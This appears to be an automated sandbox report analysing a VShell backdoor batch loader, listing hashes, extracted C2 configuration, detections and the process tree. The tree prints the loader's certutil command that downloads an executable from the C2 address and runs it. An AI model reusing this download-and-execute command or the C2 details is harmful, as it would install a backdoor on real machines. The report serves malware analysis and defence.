Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 06:27
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_c76e68ee764f1542ec2b1de36e3c57a3dcfe1362c6b4a5f3b51e2af61bd80d06.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_c76e68ee764f1542ec2b1de36e3c57a3dcfe1362c6b4a5f3b51e2af61bd80d06.bat
- Size 512B
- Sample260910-g7sapastf1
- SHA256 c76e68ee764f1542ec2b1de36e3c57a3dcfe1362c6b4a5f3b51e2af61bd80d06
- MD5 fe4907eaefd5823196c5397f53c9f091
- SHA1 9fa477bfd4c217053ff88cc4c7e4730d63c9c16b
- SHA512 4f8c5fecdec667826e6b71c1a2a8c2ecb345be1a22b267d377eb1a01c6dc79b2fd6828fa5a85828f8e9d57e706e2f0133fa629373e56678523e21588c00220a1
- TLSH T169F059C918324EFD0BC9C863F8556186B40AA0CCCAA2A9942B9125D94D480D832EBB92
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3904-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 5972 certutil.exe 6 5972 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3904 bfb74e3btcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4932 cmd.exe 2212 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1452 WMIC.exe 1452 WMIC.exe 1452 WMIC.exe 1452 WMIC.exe 3904 bfb74e3btcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1452 WMIC.exe Token: SeSecurityPrivilege 1452 WMIC.exe Token: SeTakeOwnershipPrivilege 1452 WMIC.exe Token: SeLoadDriverPrivilege 1452 WMIC.exe Token: SeSystemProfilePrivilege 1452 WMIC.exe Token: SeSystemtimePrivilege 1452 WMIC.exe Token: SeProfSingleProcessPrivilege 1452 WMIC.exe Token: SeIncBasePriorityPrivilege 1452 WMIC.exe Token: SeCreatePagefilePrivilege 1452 WMIC.exe Token: SeBackupPrivilege 1452 WMIC.exe Token: SeRestorePrivilege 1452 WMIC.exe Token: SeShutdownPrivilege 1452 WMIC.exe Token: SeDebugPrivilege 1452 WMIC.exe Token: SeSystemEnvironmentPrivilege 1452 WMIC.exe Token: SeRemoteShutdownPrivilege 1452 WMIC.exe Token: SeUndockPrivilege 1452 WMIC.exe Token: SeManageVolumePrivilege 1452 WMIC.exe Token: 33 1452 WMIC.exe Token: 34 1452 WMIC.exe Token: 35 1452 WMIC.exe Token: 36 1452 WMIC.exe Token: SeIncreaseQuotaPrivilege 1452 WMIC.exe Token: SeSecurityPrivilege 1452 WMIC.exe Token: SeTakeOwnershipPrivilege 1452 WMIC.exe Token: SeLoadDriverPrivilege 1452 WMIC.exe Token: SeSystemProfilePrivilege 1452 WMIC.exe Token: SeSystemtimePrivilege 1452 WMIC.exe Token: SeProfSingleProcessPrivilege 1452 WMIC.exe Token: SeIncBasePriorityPrivilege 1452 WMIC.exe Token: SeCreatePagefilePrivilege 1452 WMIC.exe Token: SeBackupPrivilege 1452 WMIC.exe Token: SeRestorePrivilege 1452 WMIC.exe Token: SeShutdownPrivilege 1452 WMIC.exe Token: SeDebugPrivilege 1452 WMIC.exe Token: SeSystemEnvironmentPrivilege 1452 WMIC.exe Token: SeRemoteShutdownPrivilege 1452 WMIC.exe Token: SeUndockPrivilege 1452 WMIC.exe Token: SeManageVolumePrivilege 1452 WMIC.exe Token: 33 1452 WMIC.exe Token: 34 1452 WMIC.exe Token: 35 1452 WMIC.exe Token: 36 1452 WMIC.exe Token: SeDebugPrivilege 3904 bfb74e3btcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4932 wrote to memory of 2212 4932 cmd.exe 90 PID 2212 wrote to memory of 1452 2212 cmd.exe 91 PID 2212 wrote to memory of 3944 2212 cmd.exe 92 PID 4932 wrote to memory of 5972 4932 cmd.exe 94 PID 4932 wrote to memory of 3904 4932 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_c76e68ee764f1542ec2b1de36e3c57a3dcfe1362c6b4a5f3b51e2af61bd80d06.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3944
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\bfb74e3btcp.exe"2⤵
- Downloads MZ/PE file
PID:5972
-
-
C:\Users\Public\bfb74e3btcp.exe"C:\Users\Public\bfb74e3btcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3904
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\bfb74e3btcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH